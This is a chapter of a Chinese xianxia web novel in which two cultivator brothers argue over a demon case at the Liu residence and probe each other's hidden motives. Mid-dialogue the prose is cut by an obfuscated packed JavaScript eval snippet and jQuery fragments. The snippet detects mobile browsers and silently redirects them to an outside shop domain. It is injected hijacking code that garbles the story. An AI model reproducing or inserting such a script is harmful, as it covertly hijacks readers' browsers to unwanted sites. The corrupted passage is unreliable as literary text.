轰隆隆——
“怎么突然变天了?”
“要死伐?一点征兆没有的,家里衣服都还没收呢!”
来来往往的行人一言一语着,有些开始奔跑,有些仍是信步走着。
“天降倾盆,天将倾盆……”一身着素衣的男子提着酒壶路过离潼关的店铺门前,嘴里念念有词。
“公子请留步。”离潼关正色道。
“嗯?”男子放下酒壶,十分不拘小节地用手背一抹漏出的酒液,“少侠何事?”
“我想问公子方才说的‘天将倾盆’是为何意?”离潼关道。
“我看少侠这气节度量也是个博览群书的聪慧之人,这‘天将倾盆’的字面意,又怎会不懂?”男子笑道。
离潼关脸上没了表情:“为何这样说?”
“哎,我看少侠你也是心怀悲悯有大爱的,不过我还是劝告你一句,有些事情管不了的,就放手让它自己走吧。你那手掌并起也有缝,怎能握得住水呢?今日我觉着与少侠很是有缘,那我再告诉你一个秘密也无妨。”男子凑近了离潼关,压低声音做足了故弄玄虚的态度,“这天上啊,被人捅了个窟窿,女娲娘娘也修不好哒……”
男子举壶啜饮,他笑着走着,疯癫的样子像是个喝了烂醉的醉鬼,但离潼关却没在他身上闻到多少的酒味。
“什么疯子……”少年皱着眉看那道身影消失在街尾。
离潼关被这突如其来的声音吓了一大跳:“你是什么时候回来的?怎么连点脚步声都没有?和小师妹一模一样。”
谢影安翻了她一个白眼:“和那小古板一样?瞎的不是虞生吗?怎么连你也瞧不清了?你是被她传染了不成?”
“逍遥!”离潼关陡而变得严肃了起来,“别这么说。”
“行,抱歉,说到你的心肝宝贝了。”谢影安举双手做投降姿态。
“……”
离潼关感到无言以对的同时又感到头大。
来到凡间的这段日子里这六师弟是越来越不服管教了,以前还有师父管着,还有二师姐的武力压制,但现在他们都远在天边,现下无人能制得住他,他嘴里说的话越来越刁钻刻薄,想到什么说什么,行为也愈发无法无天,总一声不吭就消失不见,叫他们有事要人是徒增苦恼……这六师弟我行我素,真是一点修士气量也无。
“话说师兄,那柳府的事,咱们还管吗?”谢影安突然又转了话题。
离潼关一听“柳府”二字便立即支棱了起来,或许是出于身为修士的责任感吧。
“管,怎么不管呢?我们可不能就那么眼睁睁地看着那么多条人命去送死。”
“但我们也不能将他们一个人一个人查过来,而且那妖若是修为再高些,我们也是看不出来,若是我们一不小心漏了一只妖,那可谓是后患无穷。”谢影安嘴里叼着根草,声音有些含含糊糊地道。
“我还挺理解女帝的,虽说夷九族是有些残忍无道了,也容易引起百姓公愤,但妖这东西留世便是祸害,是宁可错杀一千不可放过一个的,不然后续又出了事,谁也担不起这责任。”
而往往这种时候最容易被怪罪的便是女帝,他们会认为她有眼无珠,一只妖都捉不出,进而上升到她治国无能,不配当一个统治者,在继而就是说女人当皇帝就是不被这世道允许的,连天公都不作美。
“……凡间事我们难管,但同样的,女帝也管不了我们的事。”
听到这句话的谢影安愣了一下,他转头看向一旁站得稍不那么歪七扭八的离潼关,就见他脸上神情不似以往,而多了几分柳归山的霸道冷酷,但这霸道冷酷又是与柳归山不同的。柳归山的冷是有些自我独行的,但离潼关是坚定大义的,两人从本质上就有些相抵触了,怪道柳归山除萧漓外就最爱逮着他揍呢。
“那你想怎么做。”谢影安一挑眉,他头一回对他这四师兄起了些兴趣。
他逗蝶月因为觉着这年纪轻轻的小姑娘发起怒来会甚是有趣,但离潼关脑袋一根筋,虽然有时候毒舌,但总是天真不谙世事了些,所以他觉得这人挺二挺没意思,但现在,他却从这少年的身上看出了些别的东西来。
颇有陈吴之风啊。
他挺好奇将来他这四师兄能干出些什么惊天动地的事情来。
“我们去捉几只妖来,用幻术把它们伪装人柳家人的模样。”
“让他们上去替罪?”谢影安又是一个讶异挑眉,“可那些妖可都是无辜的啊,它们还没做什么伤天害理的事呢,就要白白损去一具人身。”
“妖总是要害人的,这样也算是为民除害。”离潼关垂下眼道。
“……”
谢影安沉默看他一眼,最后摆摆手打算走了:“随你。”
他觉得这人家教有问题。
离潼关人是很好,但在处理妖魔鬼怪这一事上也太死脑筋了些。
难道这个世界上就只有坏妖坏魔,就没有善妖善魔了吗?难道这个世界上的修士仙人就都是好人吗?这不是以偏概全了吗?这不是对他们不公的偏见吗?
谢影安摇了摇头,打算回宅子去睡一觉,然而他刚踏出一步,天上一道惊雷砸下整整冲在他的脚前一寸地方,险些给他的靴子劈得焦黑。
“……”
“看来是天公不作美,不肯让我离开了。”谢影安道,将嘴里的那根草吐了出去,又进了铺子。
他从一柜子下方找到了蝶月买来给虞生但最终无人理睬的甜食,挑了颗蜜饯放嘴里。
“嘶……”他嚼了几口就皱起山川眉头,“甜得发齁,咬几口牙都疼死了,她到底是怎么吃得下去的?”
“小孩子都爱吃甜的,他们的牙口还没那么坏呢。”离潼关不知何时走了进来道。
“你七师妹似乎就不爱吃……虽然总是装□□吃的模样给蝶月看。”
“……她是个例外,我还是头一回见她这个年纪不爱吃甜食的。”离潼关道。
谢影安耸了耸肩,硬是忍着齁腻之感将那蜜饯给咽了下去。
“对了,你可知烟罗姑娘现在在何处?”离潼关问道。
“不知,你问这个做什么?”谢影安感到莫名其妙。
这两人说话可谓是八竿子打不着边,从这人口里听到烟罗名字也着实奇怪。
“你们还没和好吗?”
“哪来和好一说?”谢影安突然急道,“我们又没吵架!”
“没吵架?可你们前些日子不是……”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733945|207885||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那只是日常拌嘴!这算什么吵架?”谢影安说完重重哼了一声,“这人脾气怪得很,总莫名其妙和我怄气,我都懒待跟她争呢。”
“不是因为吵不过吗?我觉着女孩子吵架能力都还挺强的。”离潼关声音一点揶揄不带,说者是无意,但听者很有心。
“那是我让着她!我才不跟她一般见识呢。”谢影安觉得自己的自尊心受到了伤害,急忙说道。
换做以往他是只会一笑而过,然后再阴阳怪气几句的,但他发现阴阳怪气对着脑子有些直的四师兄不太管用,因为他是真的意识不到别人在阴阳怪气他。
“行吧。”
“所以你找她有什么事吗?”谢影安将话题拉回来正轨。
“我想委派她替我做点事,你放心,报酬绝对一分不给少,只给多。”离潼关笑着露出两排洁白大牙齿。
“委派她?她有什么能替你做的事的?”谢影安疑惑道。
“我先前见她打你时候所展现出来的功夫了得,定然是非常人的,所以我想请她同我们一起去捉妖。”离潼关如实道。
“……”
“她那是从小乡野间跑惯了练得力气比较大,她不懂什么武术,捉妖这么危险的事就别将她牵扯进来的。”谢影安含糊道。
“是吗?可我见她身上气质和肌肤细腻程度可不像是从小乡野间跑的姑娘养得出来的。”离潼关道。
谢影安抓蜜饯的手一顿,他转头看向了离潼关,见他脸上表情不似玩笑。
他直至这时才意识到,他这师兄并非蠢材,他的洞察力其实有些异于常人,不然也不会被望海仙君挑选收入门下为徒了。
“师兄,我有一件事很好奇,不知你能否为我解惑。”谢影安道。
“师弟的请愿我自然是要答应的,你请问吧。”
“你明明很是聪明,可为何总要装傻充愣,假装什么都不懂的天真模样呢?是为了欺一欺虞生?”谢影安直言不讳。
离潼关脸上露出了以往他从未见过的表情,充满了攻击性。
“有吗?”他反问道,“是你过于敏感了吧。”
“并非,四师兄,这事你比我更清楚,”谢影安道,“你从来不会在虞生面前露出这种表情吧,所以你那么装模作样是为了什么?难不成真是因为看上了虞生想博得她的欢心?”
“逍遥,有些话还是少说些好。”离潼关言语中暗含警告威胁之意。
谢影安耸了耸肩:“成,反正我也不是特别关心你两的事,不过我还是得提醒你一句,虞生各个方面都异于常人,这么一厢情愿你当心伤了自己。”
离潼关只道谢影安这句话中的“一厢情愿”并非本意,他只道:“多谢师弟关心,阿生能获得‘望舒’承认,自然是有非凡之处的,我看师弟你也挺不凡的,毕竟‘鸠鹄’也不是什么好得的剑,至少对于出身凡人的人来说,要得到它,可谓是难如登天。”
两人陷入在剑拔弩张的气氛中,周围空气都仿佛凝滞了。
最终,谢影安率先脱离了对峙。
“呵。师兄,你挺能装。”他冷嘲热讽一句。
“你也不赖,师弟。”
两人就此分道扬镳,一个绕向后门,一个去往门口。